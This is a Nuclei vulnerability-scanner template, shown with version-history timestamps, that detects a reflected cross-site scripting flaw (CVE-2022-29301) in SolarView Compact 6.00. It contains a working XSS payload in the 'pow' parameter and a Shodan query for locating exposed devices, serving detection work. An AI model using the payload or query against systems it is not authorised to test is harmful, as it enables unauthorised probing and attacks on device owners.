nuclei-templates/http/cves/2022/CVE-2022-29301.yaml

48 lines
1.7 KiB
YAML
Raw Normal View History

2022-06-15 17:14:08 +00:00
id: CVE-2022-29301
info:
name: SolarView Compact 6.00 - 'pow' Cross-Site Scripting
2022-06-15 17:14:08 +00:00
author: For3stCo1d
2022-06-21 13:31:04 +00:00
severity: high
2022-06-22 03:35:06 +00:00
description: |
SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'pow' parameter to Solar_SlideSub.php.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest patch or upgrade to a non-vulnerable version of SolarView Compact.
2022-06-15 17:14:08 +00:00
reference:
- https://www.exploit-db.com/exploits/50968
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29301
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-06-21 13:31:04 +00:00
classification:
cve-id: CVE-2022-29301
2022-06-15 17:14:08 +00:00
metadata:
2022-06-16 05:34:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2022-06-15 17:14:08 +00:00
shodan-query: http.favicon.hash:-244067125
tags: cve,cve2022,xss,solarview,edb
2022-06-15 17:14:08 +00:00
http:
2022-06-15 17:14:08 +00:00
- method: GET
path:
- '{{BaseURL}}/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green'
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-06-16 05:34:42 +00:00
- '<script>alert(document.domain)</script><"">'
- 'SolarView'
condition: and
2022-06-15 17:14:08 +00:00
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100b3edaaf8c05a14a8acd2a99b1a0abd57b7fb71b2faec9f2d0c8b8975a3e8c43202202c62d25ef277632bf6a301f91deec2e506f3be4785176df586a46977e4dcd0c3:922c64590222798bb761d5b6d8e72950